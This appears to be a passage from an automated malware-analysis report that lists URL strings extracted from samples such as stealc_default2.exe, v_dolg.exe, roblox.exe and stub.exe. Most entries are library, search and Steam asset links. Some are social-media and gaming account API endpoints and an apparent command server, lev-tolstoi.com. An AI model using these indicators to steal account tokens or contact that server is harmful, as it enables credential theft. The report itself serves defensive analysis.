Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cffi.readthedocs.io/en/latest/using.html#callbacks
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2017/stickers.css?v=Ncr6N09yZIap&amp
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/header.css?v=EM4kCu67DNda&l=english&a
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/modalContent.css?v=WXAusLHclDIt&l=eng
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/skin_1/profilev2.css?v=fe66ET2uI50l&l=englis
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=THDq-gsQ
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=0Xxx
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=kOc26QwM0vlX&l=e
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3722225518.0000000000FF8000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: stealc_default2.exe, 00000014.00000002.3322120642.00000000272C2000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3179663648.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915132366.0000000003752000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914814392.0000000003750000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914624831.000000000374D000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914458166.0000000003743000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915320012.0000000003756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: stealc_default2.exe, 00000014.00000002.3322120642.00000000272C2000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3179663648.0000000003AFB000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915132366.0000000003752000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914814392.0000000003750000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914624831.000000000374D000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3914458166.0000000003743000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3915320012.0000000003756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cryptography.io/en/latest/faq/#why-can-t-i-import-my-pem-file
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/u/invitesainvitesuhttps://discord.gg/acodeulogs
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v8/users/
Source: stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://discord.gg/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/client_advanced.html#proxy-support
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-config
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.aiohttp.org/en/stable/web_advanced.html#application-s-configT
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-github-profile/customizi
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/howto/mro.html
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.python.org/3/library/asyncio-eventloop.html
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: stealc_default2.exe, 00000014.00000003.3099834403.000000000100D000.00000004.00000020.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098255849.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3097836375.0000000003B2A000.00000004.00000800.00020000.00000000.sdmp, legs.exe, 00000017.00000003.3098426810.0000000003B28000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822894869.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3822474397.000000000378A000.00000004.00000800.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3821928944.000000000378C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://economy.roblox.com/v1/users/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://filepreviews.io/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/aio-libs/aiohttp/discussions/6044
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues
Source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/8996
Source: roblox.exe, 00000021.00000003.3428426689.00000202AE358000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/pyca/cryptography/issues/9253
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/blob/main/.github/CONTRIBUTING.md)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1328)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1329)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/1330)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/136
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/251
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/issues/428
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python-attrs/attrs/wiki/Extensions-to-attrs)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/python/cpython/pull/28073
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://github.com/sponsors/hynek).
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://gql.twitch.tv/gql
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gql.twitch.tv/gqlT
Source: v_dolg.exe, 00000020.00000003.3722337576.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: v_dolg.exe, 00000020.00000003.3722225518.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3756753223.0000000001007000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://hynek.me/articles/import-attrs/)
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=true
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/accounts/current_user/?edit=trueuhttps://i.instagram.com/api/v1/users
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://i.instagram.com/api/v1/users/
Source: v_dolg.exe, 00000020.00000003.3915320012.0000000003756000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 00000023.00000002.3730525219.0000022F65FD0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://instagram.com/
Source: roblox.exe, 00000021.00000003.3428426689.00000202AD0E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://klaviyo.com/
Source: v_dolg.exe, 00000020.00000003.3991489882.0000000001002000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3891018668.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: v_dolg.exe, 00000020.00000003.4028975021.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4036823973.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3991489882.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/)
Source: v_dolg.exe, 00000020.00000003.3943837913.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/.e(G
Source: v_dolg.exe, 00000020.00000003.4028975021.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4036823973.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/4
Source: v_dolg.exe, 00000020.00000003.3887966347.0000000003749000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/7k
Source: v_dolg.exe, 00000020.00000002.4037001635.0000000001018000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.4028975021.0000000001018000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/BF
Source: v_dolg.exe, 00000020.00000003.4028975021.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000002.4036823973.0000000000FFE000.00000004.00000020.00020000.00000000.sdmp, v_dolg.exe, 00000020.00000003.3991489882.0000000001002000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/BRO
